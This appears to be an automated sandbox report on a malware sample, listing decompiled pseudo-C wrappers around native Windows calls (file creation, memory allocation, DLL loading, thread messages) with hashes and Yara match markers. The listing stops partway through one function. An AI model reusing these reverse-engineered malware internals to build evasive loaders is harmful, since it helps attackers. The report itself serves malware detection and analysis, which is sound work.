                                                                                    • String ID: B=A$B=A
                                                                                    • API String ID: 2738559852-2767357659
                                                                                    • Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                    • Instruction ID: 36fb0ef1660234b95adbc5e615de389476f61a426637268b67c73261640a8fd9
                                                                                    • Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                    • Instruction Fuzzy Hash: 2AF0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158249BA1D97241DA30E8518BA4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00409B10(void* __eflags, void* _a4, intOrPtr _a8) {
                                                                                    				char* _v8;
                                                                                    				struct _EXCEPTION_RECORD _v12;
                                                                                    				struct _OBJDIR_INFORMATION _v16;
                                                                                    				char _v536;
                                                                                    				void* _t15;
                                                                                    				struct _OBJDIR_INFORMATION _t17;
                                                                                    				struct _OBJDIR_INFORMATION _t18;
                                                                                    				void* _t30;
                                                                                    				void* _t31;
                                                                                    				void* _t32;
                                                                                    
                                                                                    				_v8 =  &_v536;
                                                                                    				_t15 = E0041AB40( &_v12, 0x104, _a8);
                                                                                    				_t31 = _t30 + 0xc;
                                                                                    				if(_t15 != 0) {
                                                                                    					_t17 = E0041AF60(__eflags, _v8);
                                                                                    					_t32 = _t31 + 4;
                                                                                    					__eflags = _t17;
                                                                                    					if(_t17 != 0) {
                                                                                    						E0041B1E0( &_v12, 0);
                                                                                    						_t32 = _t32 + 8;
                                                                                    					}
                                                                                    					_t18 = E004192F0(_v8);
                                                                                    					_v16 = _t18;
                                                                                    					__eflags = _t18;
                                                                                    					if(_t18 == 0) {
                                                                                    						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
                                                                                    						return _v16;
                                                                                    					}
                                                                                    					return _t18;
                                                                                    				} else {
                                                                                    					return _t15;
                                                                                    				}
                                                                                    			}













                                                                                    0x00409b2c
                                                                                    0x00409b2f
                                                                                    0x00409b34
                                                                                    0x00409b39
                                                                                    0x00409b43
                                                                                    0x00409b48
                                                                                    0x00409b4b
                                                                                    0x00409b4d
                                                                                    0x00409b55
                                                                                    0x00409b5a
                                                                                    0x00409b5a
                                                                                    0x00409b61
                                                                                    0x00409b69
                                                                                    0x00409b6c
                                                                                    0x00409b6e
                                                                                    0x00409b82
                                                                                    0x00000000
                                                                                    0x00409b84
                                                                                    0x00409b8a
                                                                                    0x00409b3e
                                                                                    0x00409b3e
                                                                                    0x00409b3e

                                                                                    APIs
                                                                                    • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409B82
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Load
                                                                                    • String ID:
                                                                                    • API String ID: 2234796835-0
                                                                                    • Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
                                                                                    • Instruction ID: 046ff59bb8e44ad8641c0e43070f5aeaf3db9792b4ffc4f87dfb9ba9f6fb7e9c
                                                                                    • Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
                                                                                    • Instruction Fuzzy Hash: D70112B5D4010DB7DF10EAE5DC42FDEB378AB54318F1041A5E908A7281F635EB54C795
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E004181B0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
                                                                                    				long _t21;
                                                                                    				void* _t31;
                                                                                    
                                                                                    				_t3 = _a4 + 0xc40; // 0xc40
                                                                                    				E00418DB0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
                                                                                    				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
                                                                                    				return _t21;
                                                                                    			}





                                                                                    0x004181bf
                                                                                    0x004181c7
                                                                                    0x004181fd
                                                                                    0x00418201

                                                                                    APIs
                                                                                    • NtCreateFile.NTDLL(00000060,00408AE3,?,00413B87,00408AE3,FFFFFFFF,?,?,FFFFFFFF,00408AE3,00413B87,?,00408AE3,00000060,00000000,00000000), ref: 004181FD
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateFile
                                                                                    • String ID:
                                                                                    • API String ID: 823142352-0
                                                                                    • Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                    • Instruction ID: 1505d2c2fac7169f29cf6ab97caa2a59105c471fc85729d0552dd22f4c6ed161
                                                                                    • Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                    • Instruction Fuzzy Hash: D7F0B6B2200208ABCB48CF89DC85DEB77ADAF8C754F158248BA0D97241C630E8518BA4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00418390(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
                                                                                    				long _t14;
                                                                                    				void* _t21;
                                                                                    
                                                                                    				_t3 = _a4 + 0xc60; // 0xca0
                                                                                    				E00418DB0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
                                                                                    				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
                                                                                    				return _t14;
                                                                                    			}





                                                                                    0x0041839f
                                                                                    0x004183a7
                                                                                    0x004183c9
                                                                                    0x004183cd

                                                                                    APIs
                                                                                    • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F84,?,00000000,?,00003000,00000040,00000000,00000000,00408AE3), ref: 004183C9
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocateMemoryVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 2167126740-0
                                                                                    • Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                    • Instruction ID: c1f36b05bbd4b7963809c3793a6f2df241a2ee7dc34c60eca979b2d1d68cf477
                                                                                    • Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                    • Instruction Fuzzy Hash: 1DF015B2200208ABCB14DF89DC81EEB77ADAF88754F118149BE0897241CA30F810CBE4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 47%
                                                                                    			E004182DA(char __edx, void* _a4) {
                                                                                    				intOrPtr _v0;
                                                                                    				char _v117;
                                                                                    				long _t9;
                                                                                    				void* _t13;
                                                                                    
                                                                                    				asm("sti");
                                                                                    				_push(cs);
                                                                                    				asm("popad");
                                                                                    				asm("stc");
                                                                                    				asm("out dx, al");
                                                                                    				_v117 = __edx;
                                                                                    				_t6 = _v0;
                                                                                    				_t3 = _t6 + 0x10; // 0x300
                                                                                    				_t4 = _t6 + 0xc50; // 0x409733
                                                                                    				E00418DB0(_t13, _v0, _t4,  *_t3, 0, 0x2c);
                                                                                    				_t9 = NtClose(_a4); // executed
                                                                                    				return _t9;
                                                                                    			}







                                                                                    0x004182da
                                                                                    0x004182db
                                                                                    0x004182dc
                                                                                    0x004182dd
                                                                                    0x004182de
                                                                                    0x004182df
                                                                                    0x004182e3
                                                                                    0x004182e6
                                                                                    0x004182ef
                                                                                    0x004182f7
                                                                                    0x00418305
                                                                                    0x00418309

                                                                                    APIs
                                                                                    • NtClose.NTDLL(00413D20,?,?,00413D20,00408AE3,FFFFFFFF), ref: 00418305
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Close
                                                                                    • String ID:
                                                                                    • API String ID: 3535843008-0
                                                                                    • Opcode ID: 26cec66ecb48a0e151f3513b73587379859e351ecc2f2309b32b98e556e0fc43
                                                                                    • Instruction ID: 3a0310c174666825cf397075bb5ad4172800bd255db8c643088461030dc2c0b2
                                                                                    • Opcode Fuzzy Hash: 26cec66ecb48a0e151f3513b73587379859e351ecc2f2309b32b98e556e0fc43
                                                                                    • Instruction Fuzzy Hash: 01E086361002007FD710EFE9CC85ED77B59DF55360F14415DF9099B243C571A5408B90
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E004182E0(intOrPtr _a4, void* _a8) {
                                                                                    				long _t8;
                                                                                    				void* _t11;
                                                                                    
                                                                                    				_t5 = _a4;
                                                                                    				_t2 = _t5 + 0x10; // 0x300
                                                                                    				_t3 = _t5 + 0xc50; // 0x409733
                                                                                    				E00418DB0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
                                                                                    				_t8 = NtClose(_a8); // executed
                                                                                    				return _t8;
                                                                                    			}





                                                                                    0x004182e3
                                                                                    0x004182e6
                                                                                    0x004182ef
                                                                                    0x004182f7
                                                                                    0x00418305
                                                                                    0x00418309

                                                                                    APIs
                                                                                    • NtClose.NTDLL(00413D20,?,?,00413D20,00408AE3,FFFFFFFF), ref: 00418305
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Close
                                                                                    • String ID:
                                                                                    • API String ID: 3535843008-0
                                                                                    • Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                    • Instruction ID: 2c2b34aedc846ab3ae484734a1171ee081eb0df99b6426d3cac892bcac86a451
                                                                                    • Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                    • Instruction Fuzzy Hash: 7CD012752003146BD710EF99DC45ED7775CEF44750F154459BA185B242C930F90086E4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 98847d7640efcbe8f61d9648a828bbd008aee4988366d276ba8981b29898ec5f
                                                                                    • Instruction ID: 161bc558b31b2708ebd47fffb863bc6c199e6d918688ef7466aaf59a0ff2ede3
                                                                                    • Opcode Fuzzy Hash: 98847d7640efcbe8f61d9648a828bbd008aee4988366d276ba8981b29898ec5f
                                                                                    • Instruction Fuzzy Hash: 9490026921304402E180B199540860A00069BD1242F91D455A100A669CCA55C86D6361
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: e4b0388e6bb15bebff012e72f85cf7b475c29ef22c4d0aebd7f4df208acfe466
                                                                                    • Instruction ID: bf8d385adacfbc66c52f0ab309a1489dc55b7849669c1fd40b0eb65370f9130a
                                                                                    • Opcode Fuzzy Hash: e4b0388e6bb15bebff012e72f85cf7b475c29ef22c4d0aebd7f4df208acfe466
                                                                                    • Instruction Fuzzy Hash: B090026130104403E140B19954186064006EBE1341F51D051E1409665CDA55C85E6262
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 63a6a06c269f1bad5632924b470179858af662bbd62576dc64a05d2c0cbb388f
                                                                                    • Instruction ID: db0c2f324526d6916e632c5841536966db648ce9dfe80342e5d66c14e9536ef8
                                                                                    • Opcode Fuzzy Hash: 63a6a06c269f1bad5632924b470179858af662bbd62576dc64a05d2c0cbb388f
                                                                                    • Instruction Fuzzy Hash: B890027131118802E110A199840470600069BD1241F51C451A1819669D87D5C8997162
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 663b1bfbaf668e7a4ea50a4570ed30b658dfb84cffd149b4181f63e68d0a9841
                                                                                    • Instruction ID: 1943ad45b85f3c9e09c973e5abcf76cf8379dd7c8f9c6e4a4b7d109c4bbe773c
                                                                                    • Opcode Fuzzy Hash: 663b1bfbaf668e7a4ea50a4570ed30b658dfb84cffd149b4181f63e68d0a9841
                                                                                    • Instruction Fuzzy Hash: 6F90027120104802E100A5D9540864600069BE0341F51D051A6019666EC7A5C8997171
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: cc9dd6df5bf3b53976b2806a3d8d36771a8b61ca27c3f5001d4e262725d8fab7
                                                                                    • Instruction ID: a17a52f474c5b475d7a27f0659e5f68fca97a793f97a92ca8247f216f140bf86
                                                                                    • Opcode Fuzzy Hash: cc9dd6df5bf3b53976b2806a3d8d36771a8b61ca27c3f5001d4e262725d8fab7
                                                                                    • Instruction Fuzzy Hash: 169002712010CC02E110A199840474A00069BD0341F55C451A5419769D87D5C8997161
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 70790bf1bc7cb7e3acc1e649463706356423594daaa4423ddb090372d0f35e73
                                                                                    • Instruction ID: 67bb74bd96280280718dc04c327b7a3c3e9a2bc8bcfe8efec8cb124ec205096e
                                                                                    • Opcode Fuzzy Hash: 70790bf1bc7cb7e3acc1e649463706356423594daaa4423ddb090372d0f35e73
                                                                                    • Instruction Fuzzy Hash: B990027120144802E100A199481470B00069BD0342F51C051A2159666D8765C85975B1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 52c8f4fd0e3a7dabbfbd60f176f5d91811cad3a22788ba3510e9f03d218844dd
                                                                                    • Instruction ID: 2cdbe95022e1e376b7f44629274af89bc4b5aa5786117454371b5f1e309ff509
                                                                                    • Opcode Fuzzy Hash: 52c8f4fd0e3a7dabbfbd60f176f5d91811cad3a22788ba3510e9f03d218844dd
                                                                                    • Instruction Fuzzy Hash: 43900261601044425140B1A988449064006BFE1251751C161A198D661D8699C86D66A5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: f638e275fc5d24e26785da15f2ddfd8ffb5dd66a581ae30f027e7c97e92f8d9a
                                                                                    • Instruction ID: 00016f916d4af7dd43782b7f835d31487de9f10582d7390f3bc407b829ed157f
                                                                                    • Opcode Fuzzy Hash: f638e275fc5d24e26785da15f2ddfd8ffb5dd66a581ae30f027e7c97e92f8d9a
                                                                                    • Instruction Fuzzy Hash: 1390026121184442E200A5A94C14B0700069BD0343F51C155A1149665CCA55C8696561
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 73bf020f88d2a1b6c08b51e85b7bfaf8f189781b02cc2b11eca51680e5dcfb98
                                                                                    • Instruction ID: ca23a0aaee844e20283f0f5de8ff9c1cb79f29d36a3340f5e3dd2342ee1ebf63
                                                                                    • Opcode Fuzzy Hash: 73bf020f88d2a1b6c08b51e85b7bfaf8f189781b02cc2b11eca51680e5dcfb98
                                                                                    • Instruction Fuzzy Hash: AE90027120104C02E180B199440464A00069BD1341F91C055A101A765DCB55CA5D77E1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 25de70cfbe4325400d8f09693833cd2bd165979576679524236255910c791a01
                                                                                    • Instruction ID: 1265baec3b3ee9af5b5ef5089e17556824cd9ff93a8b3b31dbdc8dce6bbf8d6c
                                                                                    • Opcode Fuzzy Hash: 25de70cfbe4325400d8f09693833cd2bd165979576679524236255910c791a01
                                                                                    • Instruction Fuzzy Hash: 7A9002A134104842E100A1994414B060006DBE1341F51C055E2059665D8759CC5A7166
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 61be2ddb36bf953be1824550985592a7acd9cee10976c744456a94da226eabd7
                                                                                    • Instruction ID: a146d5930dfb67a157d2dee68fc5457434e02119a23550ed0329ca5458880cc9
                                                                                    • Opcode Fuzzy Hash: 61be2ddb36bf953be1824550985592a7acd9cee10976c744456a94da226eabd7
                                                                                    • Instruction Fuzzy Hash: F19002A1202044035105B1994414616400B9BE0241B51C061E20096A1DC665C8997165
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 1046a3cc699b9cb5ad0ea367a5d0c00daaae6531ef559fb809f8279c567c8ad5
                                                                                    • Instruction ID: ab754813e6e0335e72d3dd5ef239fa0695cebbd55d6c3218ad2a6e0cc4601c3d
                                                                                    • Opcode Fuzzy Hash: 1046a3cc699b9cb5ad0ea367a5d0c00daaae6531ef559fb809f8279c567c8ad5
                                                                                    • Instruction Fuzzy Hash: FB9002B120104802E140B199440474600069BD0341F51C051A6059665E8799CDDD76A5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: b0f76a2a1b359f15875be3addc5373bdd9f32706ff244d82c3be1ea21204d151
                                                                                    • Instruction ID: 446b20fd14f0990c1fcd88010b27a52df44a092e0572ef64a49da79361d17955
                                                                                    • Opcode Fuzzy Hash: b0f76a2a1b359f15875be3addc5373bdd9f32706ff244d82c3be1ea21204d151
                                                                                    • Instruction Fuzzy Hash: 73900265211044031105E599070450700479BD5391351C061F200A661CD761C8696161
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: e97c6b4e5763704501786e5996404072c5bd5be66a0509f7c5cf224b34c48c99
                                                                                    • Instruction ID: 29207fe3cb04dfed90e45060ae66bbb9cf477bdba122123d45860b2561a9dca6
                                                                                    • Opcode Fuzzy Hash: e97c6b4e5763704501786e5996404072c5bd5be66a0509f7c5cf224b34c48c99
                                                                                    • Instruction Fuzzy Hash: 1090026160104902E101B1994404616000B9BD0281F91C062A2019666ECB65C99AB171
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 26c0987e4ac135bff9cb77e1bf1f57638fef80e31e0e8b230c3a2af35851752d
                                                                                    • Instruction ID: 1e6ac1a825be50a329762f2b979900c29704722a0548a026703263cb3cd44597
                                                                                    • Opcode Fuzzy Hash: 26c0987e4ac135bff9cb77e1bf1f57638fef80e31e0e8b230c3a2af35851752d
                                                                                    • Instruction Fuzzy Hash: 7F900261242085526545F19944045074007ABE0281791C052A2409A61C8666D85EE661
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 9419f65fe3f137041d237003683f0b319d181806032e13b728e71fd474933daa
                                                                                    • Instruction ID: dc23b27b3169adc8104cfa61d23d98cadcc8f55cd658850a2948a48b438a702e
                                                                                    • Opcode Fuzzy Hash: 9419f65fe3f137041d237003683f0b319d181806032e13b728e71fd474933daa
                                                                                    • Instruction Fuzzy Hash: E690027120104813E111A1994504707000A9BD0281F91C452A1419669D9796C95AB161
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 90%
                                                                                    			E004088A0(void* __edi, void* __eflags, intOrPtr _a4) {
                                                                                    				intOrPtr _v8;
                                                                                    				char _v24;
                                                                                    				char _v284;
                                                                                    				char _v804;
                                                                                    				char _v840;
                                                                                    				void* __ebx;
                                                                                    				void* __esi;
                                                                                    				void* _t24;
                                                                                    				void* _t31;
                                                                                    				void* _t33;
                                                                                    				void* _t34;
                                                                                    				void* _t39;
                                                                                    				void* _t50;
                                                                                    				intOrPtr _t52;
                                                                                    				void* _t53;
                                                                                    				void* _t54;
                                                                                    				void* _t55;
                                                                                    				void* _t56;
                                                                                    
                                                                                    				_t52 = _a4;
                                                                                    				_t39 = 0; // executed
                                                                                    				_t24 = E00406E00(__edi, _t52,  &_v24); // executed
                                                                                    				_t54 = _t53 + 8;
                                                                                    				if(_t24 != 0) {
                                                                                    					E00407010( &_v24,  &_v840);
                                                                                    					_t55 = _t54 + 8;
                                                                                    					_push(__edi);
                                                                                    					do {
                                                                                    						E00419CC0( &_v284, 0x104);
                                                                                    						E0041A330( &_v284,  &_v804);
                                                                                    						_t56 = _t55 + 0x10;
                                                                                    						_t50 = 0x4f;
                                                                                    						while(1) {
                                                                                    							_t31 = E00413DC0(_t39, _t50, _t52, E00413D60(_t52, _t50),  &_v284);
                                                                                    							_t56 = _t56 + 0x10;
                                                                                    							if(_t31 != 0) {
                                                                                    								break;
                                                                                    							}
                                                                                    							_t50 = _t50 + 1;
                                                                                    							if(_t50 <= 0x62) {
                                                                                    								continue;
                                                                                    							} else {
                                                                                    							}
                                                                                    							goto L8;
                                                                                    						}
                                                                                    						_t9 = _t52 + 0x14; // 0xffffe1b5
                                                                                    						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
                                                                                    						_t39 = 1;
                                                                                    						L8:
                                                                                    						_t33 = E00407040( &_v24,  &_v840);
                                                                                    						_t55 = _t56 + 8;
                                                                                    					} while (_t33 != 0 && _t39 == 0);
                                                                                    					_t34 = E004070C0(_t52,  &_v24); // executed
                                                                                    					if(_t39 == 0) {
                                                                                    						asm("rdtsc");
                                                                                    						asm("rdtsc");
                                                                                    						_v8 = _t34 - 0 + _t34;
                                                                                    						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
                                                                                    					}
                                                                                    					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
                                                                                    					_t20 = _t52 + 0x31; // 0x5608758b
                                                                                    					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
                                                                                    					return 1;
                                                                                    				} else {
                                                                                    					return _t24;
                                                                                    				}
                                                                                    			}





















                                                                                    0x004088ab
                                                                                    0x004088b3
                                                                                    0x004088b5
                                                                                    0x004088ba
                                                                                    0x004088bf
                                                                                    0x004088d2
                                                                                    0x004088d7
                                                                                    0x004088da
                                                                                    0x004088e0
                                                                                    0x004088ec
                                                                                    0x004088ff
                                                                                    0x00408904
                                                                                    0x00408907
                                                                                    0x00408910
                                                                                    0x00408922
                                                                                    0x00408927
                                                                                    0x0040892c
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040892e
                                                                                    0x00408932
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00408934
                                                                                    0x00000000
                                                                                    0x00408932
                                                                                    0x00408936
                                                                                    0x00408939
                                                                                    0x0040893f
                                                                                    0x00408941
                                                                                    0x0040894c
                                                                                    0x00408951
                                                                                    0x00408954
                                                                                    0x00408961
                                                                                    0x0040896c
                                                                                    0x0040896e
                                                                                    0x00408974
                                                                                    0x00408978
                                                                                    0x0040897b
                                                                                    0x0040897b
                                                                                    0x00408982
                                                                                    0x00408985
                                                                                    0x0040898a
                                                                                    0x00408997
                                                                                    0x004088c6
                                                                                    0x004088c6
                                                                                    0x004088c6

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 283bf2c7f344e97b91bcc60d13a5b0e411dcd70c841c71c3deed8c9853ae10d6
                                                                                    • Instruction ID: 5568bf364e599ab98db8d6cec98c55b42aa716c8f34da205b899e6f8c2a7a87e
                                                                                    • Opcode Fuzzy Hash: 283bf2c7f344e97b91bcc60d13a5b0e411dcd70c841c71c3deed8c9853ae10d6
                                                                                    • Instruction Fuzzy Hash: EF213CB2C4420857CB20E6649D42BFF73BC9B50304F44057FE989A3181F638BB498BA6
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 82%
                                                                                    			E00407260(void* __eflags, intOrPtr _a4, long _a8) {
                                                                                    				char _v67;
                                                                                    				char _v68;
                                                                                    				void* _t12;
                                                                                    				intOrPtr* _t13;
                                                                                    				int _t14;
                                                                                    				long _t21;
                                                                                    				intOrPtr* _t25;
                                                                                    				void* _t26;
                                                                                    				void* _t30;
                                                                                    
                                                                                    				_t30 = __eflags;
                                                                                    				_v68 = 0;
                                                                                    				E00419D10( &_v67, 0, 0x3f);
                                                                                    				E0041A8F0( &_v68, 3);
                                                                                    				_t12 = E00409B10(_t30, _a4 + 0x1c,  &_v68); // executed
                                                                                    				_t13 = E00413E20(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
                                                                                    				_t25 = _t13;
                                                                                    				if(_t25 != 0) {
                                                                                    					_t21 = _a8;
                                                                                    					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
